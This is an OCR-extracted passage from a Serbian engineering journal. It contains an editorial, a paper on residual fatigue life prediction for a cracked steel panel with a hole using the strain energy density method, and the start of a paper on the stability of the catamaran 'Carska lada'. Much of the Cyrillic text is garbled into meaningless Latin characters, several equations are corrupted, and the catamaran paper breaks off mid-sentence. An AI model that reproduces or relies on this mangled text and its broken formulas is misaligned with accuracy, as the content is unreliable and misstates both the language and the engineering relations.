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PEY IVTABHOI' YPEJAHUKA

[omroBaHe Koyere, yBa)XeHH YMTAOLM, Npel Bama je HOBM Opoj 23 HayuHo — crpyuHor wacomnuca JUT, koju
3ajeMHUYKH W3/ajy JIpylITBO HHXKEmepa 3pemaHWH W Bucoka TexHHMYKa ImKona y 3pemaHHHy, ca IHJbEM
aupMmanuje HayKe, CTpyKe, TeXHUKE U 3Haha Kao MPETIOCTaBKe pa3Boja U MPOCIIEPUTETA HAIIIE CPEIHHE.

Bpeme je mokasanmo aa je pa3Boj HPUBpENC M WHAYCTPHje TeMEJb pa3Boja APYINTBA y HENMWHU. Hamn rpan u
CpenmebaHaTCKH OKPYT je He TaKo JABHO, MPEABAYHo y MIOMEHYTHM JIeNaTHOCTUMA Ha HHUBOY OUBILEC BEJTMKE HAM
JIpKaBe.

HaxaJocT, cutyanuja qaHac je Jocta qpyravnja, ca MHOTHM yrameHHM (abpukaMa v MPOH3BOTHUM MOTOHUMA.
Iokymaj adpupmanuje Hayke, TEXHHKE M 3Haa, MPEKO OBOT BHAA MPE3CHTAIMje je W HAll JOMPUHOC Pa3BOjy
MPUBpPE/IC ¥ UHAYCTPHje y3 TUIAHCKY U XapMOHHYHY Capajiby ca CPSIHUM U BUCOKUM IIKOJICTBOM.

OBaj Opoj Hay4yHO — cTpy4HOr 4aconuca je mocBelieH Muneu Mapuh AjHINTAjH, jeAHO] OJ HAjyMHHjUX
Cprikuma, KeHU 3a KOjH MHOTH M3BOPH YKa3yjy Jia je CBOjUM HAay4HHUM PajioM, TIOCEOHO M3 00JacTH MaTreMaTuke, y
MHOTOME JIOTIpUHENa apupMaluju U cnaBu Anbepra AjHiurajHa. [{eHa, CKpOMHOCT M MATpUjaxajHO BaCIHTamke, Kao
U mocBelieHOCT Y1034 CYTIpyre U MajKe je JOMpHHeNa Ja BeH HAYYHU JOMPHHOC OCTAaHe Y CeHI[H, 300r uera MU Ha
0Baj HAYMH CMO XKeJIeJH Aa je n3daBumo 13 3a0opasa 1 HeMapa.

I'maBHU ypenHUK:
Munan M. 3euap
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RESIDUAL FATIGUE LIFE PREDICTION OF DAMAGED STRUCRAL
ELEMENTS USING STRAIN ENERGY DENSITY METHOD
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REZIME

Y pany je ¢opmysnucaHa KOMIUIETHa METOAa 3a
aHANIW3y INUpemha NPCINHE, Tj. HPOLEHY IPeocTajior
BeKa eJeMeHaTa KOHCTPYKIHje THIIa II0Ye ca OTBOPOM
Y jeZIHOM MHHUIMjaJTHOM MPCIMHOM. Mertona je 6azupaHa
Ha CHEPreTCKOM KpPUTEPHjyMy, OIHOCHO TI'YCTHHH
enepruje nepopmanuje (GED). Merox GED kopuctu
LUKIMYHE KapaKTepUCTHKE MaTepHjaia M3 JIoMeMa
MajormmkiaycHor 3amopa (ML[3), omHOCHO WHCTE
KapaKTEepUCTHKE MaTrepHjaia Koje ce KOpUCTe U 3a
NpOLIEHY BeKa [0 [0jaBe WHHUIMjaHOr omrehema.
dakTopn  WHTEH3WTeTa HamoHa cy  ozapeheHn
aHanmuTHakuM IyreM. opMmynncana Merona je 3aTuM
kopuihieHa 3a NMpOLEHY BeKa CTPYKTYPAIHOI eJleMeHTa
y ycioBMMa  JejcTBa  akcHjamHor  omTepehema
KOHCTaHTHE  aMIUIUTyIe. Pe3yiaratn  HyMepHUKe
CHMYIIaIlfje Mupemka IpciarnHe Ha 0a3u MEeTo/Ie T'yCTHHE
mmpera NpCIuHe ¢y yrnopeheHn M BepU(UKOBaHH ca

COIICTBEHHM  EeKCIEPUMEHTAJIHUM  HCTPaKUBambUMA.
Jobujeno je wu3y3eTHO O00pO clarame pe3yiraTa
HyMEpUYKe CUMyJamdje ca  eKCIepHMEHTaTHUM
pesyaraTuma.

Kibyune peum: IlpouenHa mnpeocranor Beka,
upewe mnpcmunue,l'yctura eHepruje nedopmanyje,
yHHaKcHjaIHO onTepeherme

ABSTRACT

In this paper the complete method for the analysis
of crack propagation is formulated, as well as the
prediction of residual life of the structural element in the
form of a panel with a hole and a single initial crack.
This method is based on the energy criterion, or in other
words on strain energy density. Strain energy density
method uses the cyclic characteristics of materials from
low-cycle fatigue domain, the same characteristics
which are being used for life prediction until the
occurrence of initial damage. Stress intensity factors are
being calculated analytically. Formulated method has
been used for life prediction of the structural element
while being exposed to uniaxial load of constant
amplitude. Results of numerical simulation for crack
propagation based on density method have been
compared to and verified by experimental results.

Key words: Fatigue, residual life, crack
propagation prediction, strain energy density method,
uniaxial load.




1. YBOJ

Crnompamma  onTepehema Koja JIeNyjy TOKOM
pasHOr BeKa. Ha €JIEMEHTE CTPYKTypa OIHOCHO IIeje
KOHCTpYKIIMje, Kao IITO je IpUMepa paju Topamb
MOCTpOjeha 3a HCTpaXKMBamke Hare M raca, cy
MIPOM3BOJHHO TPOMEHJBMBOI LHUKJIWYHOT KapakTepa.
TakBa mpoMeHJbHBa MKINYHA onTepeherma IIOCTEneHo
pasapajy eJIeMeHT CTPYKType Of LUKIMCa O LUKIyca
Y MOTY TIPOY3pOKOBATH JIOM yCIIiesl 3aMmopa. 3amop 300r
CBOje CJIOKEHOCTH MOXKE OMTH pa3MarpaH Kpo3 JIBe
¢aze. mpBy (azy koja je mozHara Kao (aza 10 mojaBe
WHUNMjATHOT omrtehemad wu apyry, ¢dasy mmpema
npcaunel0, 11.

[penmeT OBOT HCTPaXKKMBaba je yCMEpEH Ha APYTy
ba3y, OmHOCHO Ha TIPOIEHY MPEOCTANor Beka
elleMeHara KOHCTPYKIIHja ca WHHLH]aTHUM
omrehewrMa y Buay npciauHa. be3 003upa o Kojoj
da3u je peuy mopen peanusaije BeEIMKOr Opoja
eKcIlepUMeHaTa, HEONXOAHO j€ pa3BUjaTH HOBE H
nobospiiaty Beh mnocrojehe Hymepuuke Mojene 3a
TIPOIIEHY BEKa.

Y  HHXKEBEPCKO] Mpakch MpUMEHa TaKBHX
HYMEPUUYKUX MOJIeNa 3a IpPOLEHY Beka oMmoryhasa na
ce peNaTHBHO Op30, MaTeMaTHYKHAM IYTEM, MPOICHH
BeK oaroeapajyher enemeHrta crpykrype. CBaku on
HYMEpPHYKHX MOJETa 3a MpOLEHY Beka Mopa OHuTH
0a3upaH Ha oAroBapajyhum kpurepujymuma.

Jlom enemenra crpykrype ce noraha y dasu
[IUperba MPCIIHHE TAKO Ja MoceOHa MaXKiba Mopa OUTH
ycMmepena Oamn Ha Ty ¢a3y. [lomro mo ioma Hajuenhe
JOBOJM  TPHUCYCTBO  IUIACTMYHUX  jaedopmanuja
3HAYajHO je J1a Ce y OKBUPY KpUTEpUjymMa aHAIH3HUpa 1
YVKJbYYH Y pa3MaTpame MPUCYCTBO KAaKO eIacTHYHE
Tako M IwiactuuHe nedopmanuje. Ha Taj HaumH u
npopauyH Beka 3a (a3zy IIHpema MPCIMHE pealiHuje
ONKCAaHe CTBApHO IOHAIIAE EIEMEHTa CTPYKTYpE Y
yCIOBMMa JigjcTBa HUKIM4HOr ontepehema. Jenan on
KpPHUTEPHjyMa KOjH YKJbY4yje Y pa3MaTpame MPUCyCTBO
U eNacTUYHE U TUIACTUYHE JedopMalirje je eHepreTcKu

KPUTEPH]jyM.

[Mpunrkom bopmynucama SHEPIeTCKOr
KpUTepHjyMa MOTy OWTH KOopuImheHH pa3IuduTH
mapameTpu. Melyrum HajOoJbe je KOPHCTUTH OHE
mapaMmerpe MOMOhy KOjuX aJIeKBaTHO MOXe OuTH
neduHucaHa eHepruja koja ce abcopOyje y maTepujary
W KacHHje JOBOOM 1O JIOMA eNEeMEHTa CTPYKTYype.
Tako, monemu gopmynucaru on crpane Weertmanl u
Burck2 6wmm cy Oasupanm Ha TmapameTpuMa HHCKO-
OUKITHIHOT 3amMopa. OHU Cy IONUIH 70 3aKJby4Ka Ja je
Moryhe onpeantu abcopOOBaHy €HEprHjy IO JioMa Y3
NO3HABakhe¢ HHUCKO-IMKIMYHMX Iapamerapa. Hemro
kacuuje, Liu3 kao m mHorm npyru4,5,7,8 y OKBHpY
CBOjJHX HCT)XXUBama Cy KOPHCTHIN IapaMeTpe HUCKO -
OUKJIMYHOT  3aMopa  IPWIMKOM  TIPOIeHEe  Beka
eleMeHaTa CTPYKTypa ca MHUIMjATHUM omTehemnma.

3nauajan qonpuHoc je u Chand-a, Garg-a4 jep cy y
CBOM MOJENIy H3BPIIMIN MOTU(PHKAIM]Y MOJeIa
Weertman y3  xopumheme Rice-oBe  Mertone
cymneprosunujes.

Iluss oBor pajza je nga ce pa3BUje IOTOJAH H
epukacaH HYMEpPHUYKM TIPHUCTYD Koju Moryhasa
IPOLIEHY BeKa elleMeHaTa CTPyKTypa 3a a3y HIMpema
npciaude. Ilopen tora, ¢opmymucaHn Monen je
0a3upaH Ha €HEpPreTckoM Kputepujymys,9. Y okBHpY
IPEeNIOKEHOI MOJeNa/Ipolieype KOPUCTE Ce HCTH
napaMeTpu Koju cy moTpeOHHM 3a ¢a3y a0 IojaBe
WMHAIMjaTHOT omnTehema.

2. DOOPMYJIMCAILE
INPOLEHY BEKA

MOJIEJIA 3A

[MpwimkoM  mporieHe  BeKa  elleMeHara
CTPYKTYp€ Ca WHHLHjaHOr omrehema HEONXoJHO je
¢dopmynucatn QyHKIMOHAIHY 3aBHCHOCT u3Mely
rpamujeHta mmmpewma npcnuHe da/dN wu o dakropa
vHTeH3uTeTa HanoHa Kl.

Hajpeha akymynmanmja omrehema ce jaBma y
nporec 30HM. CaMHUM THUM, HEOMXOAHO AcuHMCATH a
HAKOH TOTa W OJPEAMTH EHEPrHjy Koja MpOYy3pOKyje
orreheme y IPoIlec 30HA. 3a 30HY OKO BpXa MPCIIMHE
OJJHOCHO, Tporiec 30HY Moryhe je naeduHHcaTH
eHeprujy HacTajy yciea mactuune jaedopmanuje op
y LMKIIYCY IO jeJUHUIIM JYKUHE Kao QyHKIHUje orcera
(akTopa unTeHsurera Harnona AKI u to:

Y - 1-n") AK?
P L+n JET,

.1)

I'ne cy: n' - ekcrioHeHT JedopmalvoHor Ojavyarba
npu uukianaHoM onrtepehemy, E — Young-oB Mmoxyo

enacTUyHoCTH, In', y - KOHCTaHTE 3aBHCHE OJ
MHJIEKCa Ojadarma n'.

[MomTo je mepuHMCaHA 3aBHCHOCT 32 EHEPTH)Y
yeien wiactTuare nedopmainmje op kao pyrkuuje AKi,
cajla je HEOMXOOHO YCIIOCTAaBUTH 3aBHCHOCT H3Mehy
rpaaujenTa mupema npeaune da/dN u op. [puirkom
yCIIOCTaBJbama MOTpeOHEe 3aBHCHOCTH Mopa ce mohu
Ol YHEbEHHMIIE 1a JI0Ta3H JI0 MHpPEeha IMPCIMHE YKOIUKO
eHepryja TMpH IUIACTUYHO] JAedopManmju  ©p y
IUKITYCY, JOCTUTHE arcopOoBaHy €HEPTHjy y HCTOM
uukinycy We, OoqHOCHO:

da @

dN- W, 2.2)

Y jemmaumHm (2.2) amcop0OoBaHy eHEpPrHjy y
mukrycy We Moxe OWTH JeuHHCaHa YKOIHKO je
Mo3HaTa penanyja HaroH — JedopMmandja OFHOCHO
jenHauMHa MoHalama MaTeprjana. Ilorogna pemamwmja



3a TIOHAIlakbe MaTepujajia KojoM ce YyKJbydyje Hu
€JIaCTUYHO W IUTACTUYHO TMOHamame je Ramberg —
Osgood-oBa jennaunHa:

s, (S, )"
= — 4| —
E

e %

(2.3)

gde su: ea — amplituda deformacije, Sa - amplituda
napona, k'’- koeficijent ¢&vrstoce pri  cikliénom
optereéenju.

VYKonHMKO je jemHayMHa TIOHAllamka MaTepHjania
nara jemHauMHOM (2.3), amcopOoBaHa eHepruja y
uKIIycy We npencraBiba MOBPUIMHY UCTIOJ] TE KPUBE Y
KOOP/JMHATHOM CHCTEMY S-€, OJHOCHO:

4 [
W, = ;O &

(2.4)

rie cy: of' - koedunmjent uspcrohe mpu 3amopy,,
ef’ - KoeUIMjeHT TYKTUITHOCTH MIPHU 3aMOpY.

KonauHo, ykonuko ce y jeaHauuHy (2.2) 3ameHe
jennaumne (2.1) u (2.3) nobuja ce ¢yHKIMOHATHA
3aBHCHOCT H3Mel)y TpajujeHTa WIMpema MpCiIHHE U
(akTopa MHTeH3HUTeTa HaroHa. HakoH Tora, noOujeHa
jenHauMHa MOXKe OWTH WHTErpajbeHa O] WHHIIHjaHe
JY’)KUHE MPCIIMHE al 0 Kpajibe Ty)KHHE NPCIUHE ac Aa
Ou ce moOuia penanyja Koja ce MOXKE KOPUCTUTH 3a
NpOLICHY BeKa elieMeHaTa CTPYKTypa Koje caapike
MHHIHja]IHO omTeheme, 0HOCHO:

N :il_—n/LT(AKI ~AK, Y’da

I 1
4E1 o}é!

a

(2.5)

gde je AKth- konstanta koja zavisi od
R=Smin/Smax, odnosno AKth = AKthO(1 - R)y, y =
0.71.

3Haun jegHaumHa (2.5) TmpeacTaBiba  3aKOH
[IMpeka TPCIHHE Ha 0a3u METofe TYCTHHE CHEepruje
nedopmanuje (GED) u ona je yrpahena y Codreepcku
naker ,PP VEK* - Ilpouena IIpeocranor Beka
eleMeHaTa KOHCTPYKIHMja, KOJU CIYXKH 3a aHaJIu3y
HIMpeka TPCIMHE W TMPOLCHY MPEOCTalor Beka, 3a
om0 xoju o0OyMK omTehema elleMeHaTa KOHCTPYKIIHja
y BHJY MPCIHHA.

OuwnrnenHo je na Koj oBe 3aBuUcHOCTH (2.5),
KOpHCTE LHKINYHE KapaKTEepUCTHUKE MaTepHjana Hu3
JIOMEHa MaJloluKIycHor 3amopa (MII3) ymecro
JMHAMHUYKHX Tapamerapa IOHAlllakba MaTepHjaia Koj
KOHBEHIIMOHAJIHMX 3aKOHA INUpEHa IPCIUHE IOIMYT
Parisa, Formana u npyrux. OcHOBHa NpeaHOCT OBOT
NpUCTyNa je y TOMe, Ja Ce 3a aHalu3y IIUpema
MPCKOTHHE KOPHUCTE UCTE IHMKINYHE KapaKTEepUCTHKE
MaTepujajia, Koje ce KOpUCTE M 3a IpOLEeHY BeKa 0
TojaBe MHUIMjaIHOT olTehema.

3. ®AKTOP UHTE3UTETA HAIIOHA

JenHauwHe 3a TpaJHjeHT LIMpEHa MPCIHHE U 3a
NpOLIeHy BeKa J0 TojaBe joma (opMmynuiry ce Kao
¢dynkimje dakropa nHTeH3uTera Harnona AKI. dakrop
MH3EH3MTETa HAlOHa jeé BeJIMYMHA KOjOM Cce Y
IpOpadyH yKJbydyje FeoMeTpHuja elIeMeHTa CTPYKType
W TUN crnojpaimer onrtepehewma. Y aHaIMTHYKO]
penauuju 3a (aKTOp HMHTEH3UTETa HAIOHA, OOJIMKA:

K, =YS ra, 2.6)

Y mnpencraBiba KOPEKTUBHY (DYHKLHM]Y KOjOM ce
OIHCYyje TeoMeTpuja elieMEHTa CTPYKTYpEe U THII
onrepehema, a — Ty)KHHA TIECTHHE U S - HATIOH.

Ha cn. 1, mpukaszaH je W3mien CTPYKTYpaJHOT
eNeMEeHTa ca OTBOPOM M HHHLMJaJHOM HPCIHHOM.
®dakrop unTeH3utTera HanoHa (PUH) je ompehen u
nmpuMeHoM Merofe koHauHux enemenata (MKE).
[permzno, ®UH cy onpehenn  npumenom
CHHTYJIapHHX KOHAYHHX eleMEHaTa 3a pa3JIMduTe
IOyXHHE mpcirHa. Ha OCHOBY IHCKPETHUX BPEXHOCTH
®UH koju cy oapehenn npumenom MKE dopmupa ca
AHAIMTHYKA w3pa3, y o0nmky mnoimHoma, 3a OUH
KaKaB je HEONXO/aH 3a aHAIN3¢e INPEHa NPCIIHHE.

zt

Ao

Ca. 1. CTpyKTypaiHH €1eMEeHT ca OTBOPOM U jeZJHOM MPCKOTHHOM.



4. PE3YJITATH

Meroga 32 TpopauyH ~ BeKa  elleMeHaTa
KOHCTpyKIHja 3a ¢a3zy mmpema mpcamae (GED),
¢dopMynucaHa |y TpeTXOXHMM oxejblmMma  Owuhe
MIPUME-EHa Ha CTPYKTYPAJTHOM €JIEMEHTY Ca OTBOPOM H

JEMHOM  TPCIWHOM  TOJA  JEJCTBOM  IMKIMYHUX
onrepehema KOHCTAHTHE aMILTUTY/IE.
I[Ipumep 1: AHanM3a TIpeocTaJor  Beka

CTPYKTYpaJHOI eJEeMEHTa ca OTBOPOM H jEIHOM
MPCKOTHHOM.

Pa3martpaH je CTpyKTypaJHH eJIEMEHT ca OTBOPOM H
WHUIIMjATHOM TIPCIIMHOM Ha jeTHOj CTpauWH OTBOpa, CII.

1. ¥V mupy BepuduKalmje mpopavyyHCKe MpOIeaype 3a
aHAM3y MIMpera MpCIMHEe Ha 0a3u T'YCTHHE €HEprHje
nedopmanuje (GED) u3BpieHo je U eKCrepruMeHTaIHO
onpehuBame mmpema npcianHe. VcruTuBame MUpema
MIpCIIMHE je W3BpIIeHO Ha cepBoxuapaymuaHoM MTC
cucremy, ci. 2. VcnmTuBama cy BpIeHA HUKIMYHAM
ontepehemnMa KOHCTAaHTHE aMILTUTY/IE.

Ha cn. 3, npuxasaHa je empyBeTa ca [IOCTaB/bEHOM
MepHOM (onjom. Matepujan enpysere je yenuk S355
JR (C. 0563) ca crmemehnM CTaTMYKMM BENTMYMHAMA:
(manon Tewewa 409 MIla u 3ate3na uBpcroha 551
MIla) ¥ OUKIMYHEM KapakTepUCTHKama MaTepujaia,
Tabena 1:

Sl. 2 . EkciepuMeHTaiHa Meperbe IHperba npcianHe Kopuctehn mepre domje.

Ca. 3. Usrnen enpyBere ca HHANHJATHOM TIPCIUHOM W MEPHOM (DOJIHjOM.



Tabela 1: ITuknuyne KapakTepucTHKe Yenuka S355

JR.

Kapakrepucruke YeJIUK

S355JR
Mopnyn enactuanocth, E, MPa 208200
Koe¢punujert nuxmmane uBperohe, K', MPa 1490.1
EKCIIOHeHT NUKIMYHOT e(opMaIuoHor

0.22043
ojagaBama, n'
Koeduumjent 3amopHe uspcrohe, O 'f, MPa 1261.9
ExcrioneHT 3amMopHe 4Bpcrohe, b -0.08128
Koeduumjent 3amopHe aykrtHocti, & 'f 0.10530
EXCITOHEHT 3aMOpHE JYKTHITHOCT, C -0.53275

EKCHCpI/IMCHTaﬂHO HCIIMTUBAKLC HIMPEHA MPCIIUHE
ernpyBeTe Kao W HyMEpHUYKa CHMYJalWja IIHpema
npciuae  kopucrehn meron GED cy mnpukazanu Ha
ci. 4.

Ho6po cllarame pesyaraTa HyMepHYKe
CUMylallije ca eKCIIePUMEHTOM, KOJ CTPYKTYpaJHOT
eIeMEeHTa Ca OTBOPOM UM JEAHOM HHHIIMjAITHOM
NPCIMHOM, yKaszyje Ja ce IPEe3CHTOBAHH IPHCTYII
MOXe e(pUKacHO KOPUCTUTH y aHalu3aMma IPeocTalor
BeKa.

5. 3AK/bYYAK

VY pamy je mpe3eHTOBaHa KOMIUIETHA METOIa 3a
npoueny mpeocrasor Beka (GED) enemenara
CTPYKTYypa TUIA CTPYKTYPATHOT eJIEMEHTA Ca KPY)KHHM
OTBOPOM U Ca WHHUIMjaTHUM omTehemeM Yy BHIY
npcauHe. [IpeanokeHa MeTo/a je H3y3eTHO TMOro/IHA 38
OpoIeHy Mpeoctane uBpcTohe mpH 3amopy, jep He
3axTeBa JONATHA EKCIICPHMEHTAJHA HCTPAXKHBaba 3a
ofipehuBame HEOMXOJHUX IHHAMUYKUX IapaMerapa,
Beh ce KopHcTe mapaMeTpH 3a HUCKO IUKIHYHH 3aMOp
(low cyclic properties). 3HaYM YKOJHMKO CE€ 3a HEKHU
eNEMEHT CTPYKType oapeljyje YKymaH BEeK y JOMEHY
HHCKO NHUKIMYHOT 3aMopa, OaMax mociie oapelheHor
Opoja 1WKIyca J0 TOjaBe HMHUIMjamHOr omTehema,
Mmoryhe je npuctynutu onpehuBamy Opoja nukiIyca 10
edekTHBHOT JioMa. 3a TMpPOLEHY MPEOCTalor BeKa,
OJIHOCHO 3a aHaJM3y IIUpea MpCiuHe KopuiiheHa je
MeTojia I'yCTHHE eHepruje nepopmanuje. bynyhu na cy
nopen  pasBoja METOAEC HyMEpPHUYKEe CHUMYIAIdje
kopuithene Ha 6a3u GED, rae ce xkopucre HIHMKIMYHE
KapaKTEepUCTHKE MmarepHjana YMECTO
KOHBCHIIMOHAJIHUX JUHAMHWYKHUX napamMeTapa 3a
aHanu3y IIHpeha TMPCIWHe, W3BpLICHha je FheHa
eKcriepuMeHTanHa  Bepudukanuja. [loOujeHa cy
u3y3eTHO [no0pa charama u3Mehy pesyarata
HyMepHYKe IpolleHe rpeocraior Beka Ha 6a3u GED ca
EKCIIePUMEHTATHIM PEe3yJITaATHMA.
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HIDRAULICKO MOTORNI STABILITET CARSKE
LADE

HYDRAULIC MOTOR STABILITY OF IMPERIAL SHIP

MULIC VESELIN, inz. spec.
KURUCKI RADIVOJ, strukovni inz.mas.
Visoka tehnicka Skola strukovnih studija u Zrenjaninu

REZIME

U radu su saopsteni jednogodisnji rezultati
istrazivanja stabiliteta katamarana Carska lada kroz
partnerstvo sa kapetanijom u Titelu i nacionalnim
rezervatom Carska bara za potrebe plovodbene dozvole.

ABSTRACT

The scientific work presents the results of a one-
year reserch about the stability of the catamaran of the
Imperial ship, through partnership with a captaincy in
Titel and National Reserve Imperial Pond.

A. SPOLJINE SILE KATAMARANA

U praksi najées¢i proracuni kojima se odreduje
ugao nagiba ¢ odnosno gazenja usled dejstva momenta
spoljasnjih sila (vetar i dr.), prenoSenje tereta, utovara
tereta katamarana itd. Kako su u tim slu¢ajevima nagibi
¢ srazmerno mali, mogu se svi proracuni do nagiba

@ —10 ° sprovesti po obrascu za pocetni stabilitet (A.3)
M,=D-M,-G,-sinp—D-M, -G, ¢

ili u koliko su nagibi ve¢i, a brodovi imaju veci deo
duzine sa uspravnim rebrima po obrascu (A.4)

M, =D-(M, G+ My F, tg? - )-sing

Ugao nagiba katamarana Carska lada se nalazi iz
uslova jednakosti momenta spoljnih sila Mk i momenta

stabiliteta Mst tj. (A.5), M, = M

A.1 Delovanje momenta

Najces¢i slucajevi dejstva momenta su zbog
delovanja vetra, propelera i zaokretanja katamarana.
Momenat spoljasnjih sila Mk se u najviSe slucajeva
menja sa nagibom katamarana ¢, dok je nekad
konstantan kao kod dejstva propelera.

A.1.1 Momenat vetra na carskoj bari

Uzima se da vetar dejstvuje normalno na
simetrijsku vertikalnu ravan Xz, jer je taj slucaj
najopasniji. Rezultuju¢a sila vetra Wi stvara se
jednakom silom Wa bo¢nog otpora spreg prema formuli

(A6): M, =W, -e,gde je:

e krak izmedu sila, slike (A.34a, b, ¢). Bo¢ni otpor
vode Wa uzima se da deluje u tezistu podvodne
laterararne povrsine  (slika A.35), ili prakticno na
polovini gazenja katamarana, $to zadovoljava kod
vecine brodova, gde je laterarna povrSina skoro
praugaonik.

Posto se brzina vetra V kod iste nhominalne jacine
vetra povecava sa visinom od vodene povrSine
(slika A.35) to Ce rezultanta biti iznad teZi$ta nadvodne
laterarne pvrsine. U tom slu¢aju momenat vetra ¢emo
naci tako da nadvodnu laterarnu povr§inu rastavimo na
trke paralelne sa VL (vodena linija) jednake visine i
raéunamo za svaku traku momenat uzimajuci pri tome
brzinu vetra za nadvodnu visinu koja odgovara polozaju
sredine visine trake.

— =
X _
#
A V4
Y —
e ]I pIT T —
- : —
. i‘#‘ = VL Wa
N ' s
e \‘-_..z__r_

[
Slika A.34a Carska lada-pramac

Tako je momenat vetra (A.7).

M, :Zl(éggl Vi2 -Fiz &) ,(kNm)
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= y = = AP :==5+--|E|:::::ZZZZ_____ ) g
g — |
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gde je:
kg _

L =0,226 (—3) - gustina vazduha
m

& = (1,2 - 1,3)-kojeficijent

katamarana
V., — brzina vetra u (m/sec) na pojedinim trakama,

oblika i hrapavosti

F, — povrsina trake u (M %)

€, — odstojanje tezista trake u (m)

Tabela A.19

F,
Fw

Putriéki brod 2,5-3
Putricko teretrd brod 1,5-2,2
Temtri brod 1,0-1,3

Promena brzina prikazana na slici A.36 je za
slucaj strujanja vetra bez prepreka, Sto se prakticno
moze desiti na Carskoj bari bez obalnog drvoreda. U
slu¢ajevima malih visina brodova, kao §to je sluc¢aj kod
carske lade moze se uzeti za celu laterarnu povrSinu
konstantna brzina vetra i to normalna brzina vetra,
znadi brzinu na visini 2m, tada uzimamo da rezultujéa
sila vetra deluje u teziStu nadvodne povrSine, ¢ime se
dobija prakti¢no isti momenat vetra jer gornja ivica
nadgradnje katamarana retko premasi visinu od 4m.

Slika A.34c Fotografija pramca

Sa nagibom ¢ katamarana se momenat vetra menja,
jer se menja sila i krak vetra. Takav zakon promene ne
moZe Se uzeti, jer nadgradnja ima i Sirinu vidi,
slika.A.38. Na osnovu empirijskih podataka mozZe se za
praksu uzeti da je za prvih (30-40)° ,

My =M, = ConSt, a posle da opada po zakonu
cosg tj. jednacini (A.8) :

M, =M, -Cosgp . p<(30-40).,

Za grube proracune u fazi orijentacionih proracuna
odreduje se nadvodna laterararnu povrsinu iz odnosa
laterarnih povrsina katamarana. Tako je dato za :

F .
| — nadvodna lateralna povriina

W - podvodna lateralna povrsina
Kad vetar deluje na mahove tada se razmatra
dinamicki stabilitet. Krakovi za momenat vetra uzimaju
se tada od VL, jer ¢e osa obrtanja katamarana biti na
simetrali negde izmedu teZista sistema G i vodene linije
VL, no blize vodenoj liniji (slika.A.39).

VI B L (R 1T R

I T T O

Slika A.35 Carska lada pogled na desni bok sa teziStem pontona i gazom T/2
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-10 10 ED

Slika A.36 Stati¢ka karakteristika

Momenat vuéne sile nastaje kod tegljaca u
slu¢aju kada vertikalna ravan vucnog uZzeta
zaklapa sa simetralom katamarana neki ugao o
(slika.A.40). Tada ¢e se pojaviti komponenta
Z1 koja nakrec¢e katamaran. Sila Z1 imace
najvece vrednosti u pocetku kretanja, dok je
brzina mala praktiéno Vr=0, a kretanje se
izvodi punom snagom motora. Ako sa Z“
ozna¢imo vucnu silu tegljata u smeru
simetrale katamarana, tada bi vuc¢na sila u
smeru uzeta Z' za slu¢aj da se bok katamarana
oslanja o podlogu plitkog dna bila,
jednakost(A.9)

7- £

cosa

Posto je oslonac voda koja dozvoljava
bocno pomeranje, to ¢e u stvarnosti sila Z' biti

manja, (A.10); £1 = £COSp-sina
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Slika A. 37 Fotografija i crtez krme carske
lade



Slika A.38 Spreg sile vetra i vode

/‘ﬁl’ L

Slikar A.39 Krak sile vetra

Slika A.40 Manevar carske lade kod kolonije ptica

Prakti¢no se moze uzeti da je sila Z' ravna
vucnoj sili u smeru simetrale, tj. Z'=Z2*. Kako
vucno uze zaklapa i sa horizontalnom ravni
ugao P to ¢e bo¢na sila Z1 biti (slika.A.41)

Sila Z1 stvara, sa njoj jednakom silom
boénog otpora Wa, vode, momenat nakretanja
katamarana MK, (slika.A.43). Kako se krak
izmedu sila za vreme nakretanja menja, to je
izraz za

=7Z,-€,-CO0SQ

momenat(A.11) M, ,gde je:

ez vertikalno rastojanje zahvatne tacke uzeta S
i tezista L lateralnog plana, koje je na polovini
gazenja T. Sile Z2 1 Z3 izazivaju promene
manjeg znacaja, tako da se njihovo dejstvo
moze zanemariti:

e prva izaziva neznatno oronjavanje,

e adruga pretegu,
dok kod brodova sa kort-diznom moze se uzeti
povecanje u iznosu 30%. Za ugao o moze se
koristiti vrednost od najvise 30-40°.

mu H;.u'

s

e

Slika A.41 Pogled odozgo carske lade
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Slika.A.42 Pogonski motori Tohatsu Im9,8;dm6 i cm15

U slucajevima zaleta katamarana i naglog
zatezanja labavog uzeta mora se racunati sa
dinamic¢klm stabilitetom. Sem statiCke sile Z1,
nastace inerciona sila brodske mase, ¢ija bo¢na
komponenta Z1' povecava nakretanje. Veli¢ina
Z1' zavisi od mase tegljac¢a i krutosti vucnih
uzeta. Nakretanje je u ovom slucaju oko ose
koja lezi izmedu tezista sistema G i vodne
limje VL. Praktitno se za osu uzima
presecnica VL i simetrale katamarana.

Tabela .20
Vrednost sile Z' uzima se za

220-250 N/kW
150-180 N/kw,

morske tegljace

recne tegljace

A.1.3. Momenat propelera motora

Pri okretanju propelera 3 Tohats u motora
vodi javlja se otpor vode na lopaticama u vidu
tangencijalnih komponenata T°, koje svojim

Slika.A.43 Geometrija nakretanja katamarana

TeZcos @

15

momentum  nakreéu  katamaran.  Takwvi
slucajevi javljaju se kod neparnog broja
propelera, dok kod parnog broja zbog
suprotnog smera obrtanja propelera njihovi
momenti  se  poniStavaju  (slika.A.44).
Nakretanje katamarana je uvek u obrtnom
smeru od smera obrtanja propelera, a momenat
nakretanja MK jednak je obrtnom momentu
propelera, tj.(A.12)

M, = 09553 |Nm

n gde je:
Nw - snaga propelera je u kW
n - broj obrtaja propelera u minuti

Nagibi ¢ koji se dobijaju u normalnim
sluajevima manji su od 1° no jedino kod
velikih snaga instaliranih u malo korito, kao na
pr. tegljaci, moze ugao ¢ i da prede 1°.

Slika.A.44 Propeleri motora carske lade



Pri  zaokretanju katamarana pojavljuje se
centrifugalna sila S, koja deluje iz tezisSta sistema G i
sila normalnog pritiska N, koja deluje iz teziSta kormila
C (slika.A.45). Bo¢no na katamaran deluju njihove
komponente Scosd i Ncosacosp, gde je & ugao
derivacije, o ugao isterivanja kormila i ¢ ugao nagiba
katamarana. Ravnotezu tim silama ostvaruje sila bo¢nog
otpora W. Kako je kod uobicajenih izvodenja rastojanje
izmedu sila Ncosacose i W neznatno, to se moze
zanemariti dejstvo pritiska na kormilo.

Prema tome mamenat koji nakreée katamaran je
vidi sl.A.46, formula (A.13):

M, =S-e, -c0s5-CoS @, odnosno(A.14)

M, _D Vs -@; -€0S3-COS P,

g r gde je:

r - radijus zaokretanja

ef - odstojanje tezista G od polovine gazenja T/2

vred- smanjena brzina katamarana usled dodatnih
otpora.

Kako se vrednosti vred i & vrlo teSko odreduju,
koristi se empirijski obrazac, gde se vrednosti coso i
cosd priblizno jednake 1. To je i opravdano dok se radi
o malim nagibima ¢ katamarana i za uobicajene uglove
